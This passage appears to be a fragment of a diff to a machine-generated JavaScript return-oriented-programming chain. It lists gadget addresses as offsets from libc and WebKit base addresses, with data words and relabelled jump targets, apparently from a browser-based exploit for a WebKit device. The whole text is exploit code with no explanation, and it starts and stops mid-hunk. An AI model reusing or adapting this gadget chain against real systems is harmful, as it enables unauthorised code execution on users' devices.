rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2101: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L2102: db([1, 0]); // 0x1 +set_gadget(libc_base+792472,); //pop rcx +//L2103: +db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi @@ -14066,7 +14066,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2103: +//L2104: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14076,17 +14076,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2105: +//L2106: db([4096, 0]); // 0x1000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+148376, //L2106 +ropchain+148376, //L2108 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2106: +//L2108: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -14101,7 +14101,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2108: +//L2109: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14111,17 +14111,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2110: +//L2111: db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+148568, //L2111 +ropchain+148568, //L2113 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2111: +//L2113: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -14142,27 +14142,27 @@ webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L2115: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2113: -db([65536, 0]); // 0x10000 set_gadget(libc_base+788575,); //pop rax //L2114: -db([65536, 0]); // 0x10000 +db([20480, 0]); // 0x5000 +set_gadget(libc_base+206806,); //pop rdi +//L2116: +db([20480, 0]); // 0x5000 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+148808, //L2117 +ropchain+148808, //L2118 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+148792, //L2116 +ropchain+148792, //L2117 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2116: +//L2117: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2117: +//L2118: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14171,7 +14171,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2118: +//L2119: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14179,8 +14179,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2120: -ropchain+148960, //L2119 +//L2121: +ropchain+148960, //L2120 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -14188,8 +14188,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+157624, //L2121 -//L2119: +ropchain+157224, //L2122 +//L2120: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -14202,35 +14202,35 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+149056, //L2123 +ropchain+149056, //L2124 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2123: +//L2124: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+149112, //L2124 +ropchain+149112, //L2126 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2124: +//L2126: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2126: -db([65536, 0]); // 0x10000 -set_gadget(libc_base+788575,); //pop rax //L2127: -db([65536, 0]); // 0x10000 +db([20480, 0]); // 0x5000 +set_gadget(libc_base+792472,); //pop rcx +//L2128: +db([20480, 0]); // 0x5000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi @@ -14240,130 +14240,109 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+149264, //L2129 +ropchain+149264, //L2130 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2129: +//L2130: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+149320, //L2130 +ropchain+149320, //L2132 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2130: +//L2132: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+149392, //L2132 +ropchain+149408, //L2135 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx -]); -//L2132: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2133: -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2136: -db([4294967284, 4294967295]); // -0xc +//L2134: +db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+792472,); //pop rcx -//L2137: -db([312, 0]); // 0x138 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2138: -db([4294967284, 4294967295]); // -0xc +//L2135: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+149592, //L2140 -webkit_base+7438103, //mov [rsi], rax +webkit_base+2997875, //mov [rax], rcx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+149608, //L2141 +ropchain+149496, //L2138 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+206806 //pop rdi +libc_base+206806, //pop rdi +//L2136: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2140: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2141: +//L2138: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+149760, //L2143 +ropchain+149648, //L2139 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+149792, //L2146 +ropchain+149680, //L2142 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+149776, //L2144 +ropchain+149632, //L2140 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+149744, //L2145 +ropchain+149664, //L2141 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2145: +//L2140: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2143: +//L2139: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2144: +//L2141: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2146: +//L2142: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+149888, //L2148 +ropchain+149776, //L2144 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+149872, //L2147 +ropchain+149760, //L2143 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2147: +//L2143: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2148: +//L2144: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2149: +//L2145: db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L2150: +set_gadget(libc_base+792472,); //pop rcx +//L2146: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14374,114 +14353,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+150104, //L2151 +ropchain+149992, //L2148 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150120, //L2153 +ropchain+150008, //L2149 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150088, //L2152 +ropchain+149976, //L2147 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2152: +//L2147: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2151: +//L2148: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2153: +//L2149: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+150224, //L2155 +ropchain+150104, //L2151 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+150208, //L2154 +ropchain+150120, //L2152 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+788575, //pop rax +//L2150: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2154: +//L2151: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2155: +set_gadget(libc_base+206806,); //pop rdi +//L2152: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2156: -db([4294967284, 4294967295]); // -0xc set_gadgets([ -libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2158: -db([4294967284, 4294967295]); // -0xc -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+150368, //L2160 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150384, //L2161 +ropchain+150200, //L2155 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+206806 //pop rdi +libc_base+206806, //pop rdi +//L2153: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2160: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2161: +//L2155: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+150536, //L2163 +ropchain+150352, //L2156 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150568, //L2166 +ropchain+150384, //L2159 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+150552, //L2164 +ropchain+150336, //L2157 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150520, //L2165 +ropchain+150368, //L2158 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2165: +//L2157: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2163: +//L2156: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2164: +//L2158: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2166: +//L2159: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+150664, //L2168 +ropchain+150480, //L2161 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+150648, //L2167 +ropchain+150464, //L2160 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2167: +//L2160: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2168: +//L2161: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14491,17 +14458,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2170: +//L2163: db([15, 0]); // 0xf set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+150776, //L2171 +ropchain+150592, //L2165 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2171: +//L2165: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -14509,126 +14476,114 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+150920, //L2173 +ropchain+150736, //L2167 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150936, //L2175 +ropchain+150752, //L2168 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150904, //L2174 +ropchain+150720, //L2166 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2174: +//L2166: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2173: +//L2167: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2175: +//L2168: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151040, //L2177 +ropchain+150848, //L2170 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151024, //L2176 +ropchain+150864, //L2171 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+788575, //pop rax +//L2169: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2176: +//L2170: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2177: +set_gadget(libc_base+206806,); //pop rdi +//L2171: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2178: -db([4294967284, 4294967295]); // -0xc set_gadgets([ -libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2180: -db([4294967284, 4294967295]); // -0xc -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+151184, //L2182 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151200, //L2183 +ropchain+150944, //L2174 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+206806 //pop rdi +libc_base+206806, //pop rdi +//L2172: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2182: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2183: +//L2174: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+151352, //L2185 +ropchain+151096, //L2175 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+151384, //L2188 +ropchain+151128, //L2178 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+151368, //L2186 +ropchain+151080, //L2176 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151336, //L2187 +ropchain+151112, //L2177 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2187: +//L2176: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2185: +//L2175: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2186: +//L2177: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2188: +//L2178: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151480, //L2190 +ropchain+151224, //L2180 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151464, //L2189 +ropchain+151208, //L2179 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2189: +//L2179: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2190: +//L2180: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2191: +//L2181: db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L2192: +set_gadget(libc_base+792472,); //pop rcx +//L2182: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14639,117 +14594,115 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+151696, //L2193 +ropchain+151440, //L2184 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+151712, //L2195 +ropchain+151456, //L2185 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151680, //L2194 +ropchain+151424, //L2183 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2194: +//L2183: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2193: +//L2184: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2195: +//L2185: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151816, //L2197 +ropchain+151552, //L2187 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151800, //L2196 +ropchain+151568, //L2188 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+788575, //pop rax +//L2186: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2196: +//L2187: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2197: +set_gadget(libc_base+206806,); //pop rdi +//L2188: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2198: -db([4294967284, 4294967295]); // -0xc set_gadgets([ -libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2200: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2201: +//L2190: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L2191: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+151976, //L2203 +ropchain+151704, //L2192 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151992, //L2204 +ropchain+151720, //L2194 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2203: +//L2192: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2204: +//L2194: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+152136, //L2208 +ropchain+151864, //L2197 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+152104, //L2206 +ropchain+151832, //L2195 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152120, //L2207 +ropchain+151848, //L2196 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2206: +//L2195: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2207: +//L2196: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2208: +//L2197: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+152208, //L2210 +ropchain+151936, //L2199 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2210: +//L2199: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+152264, //L2211 +ropchain+151992, //L2201 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2211: +//L2201: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14757,83 +14710,72 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+152344, //L2213 +ropchain+152128, //L2204 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+152112, //L2203 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806, //pop rdi +//L2202: +ropchain+222640, //L2090 libc_base+792472 //pop rcx ]); -//L2213: +//L2203: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L2204: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2214: -db([4294967284, 4294967295]); // -0xc set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+152448, //L2216 +ropchain+152280, //L2205 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152464, //L2217 +ropchain+152312, //L2208 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+206806 //pop rdi -]); -//L2216: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2217: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+152616, //L2219 -webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+152648, //L2222 +ropchain+152264, //L2206 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152632, //L2220 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+152600, //L2221 +ropchain+152296, //L2207 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2221: +//L2206: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2219: +//L2205: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2220: +//L2207: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2222: +//L2208: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+152768, //L2224 +ropchain+152432, //L2210 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+152784, //L2225 +ropchain+152448, //L2211 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+152752, //L2223 +ropchain+152416, //L2209 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2223: +//L2209: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2224: +//L2210: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2225: +//L2211: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14844,85 +14786,85 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+152872, //L2227 +ropchain+152536, //L2213 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2227: +//L2213: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+152928, //L2228 +ropchain+152592, //L2215 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2228: +//L2215: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+153000, //L2230 +ropchain+152680, //L2218 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2230: +//L2217: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2218: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2231: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2233: +//L2220: db([40, 0]); // 0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+153144, //L2235 +ropchain+152808, //L2221 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153160, //L2236 +ropchain+152824, //L2223 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2235: +//L2221: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2236: +//L2223: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+153304, //L2240 +ropchain+152968, //L2226 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+153272, //L2238 +ropchain+152936, //L2224 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153288, //L2239 +ropchain+152952, //L2225 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2238: +//L2224: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2239: +//L2225: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2240: +//L2226: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14930,77 +14872,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153384, //L2241 +ropchain+153064, //L2229 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2241: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2242: +//L2228: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L2229: +db([0, 0]); // 0x0 set_gadgets([ 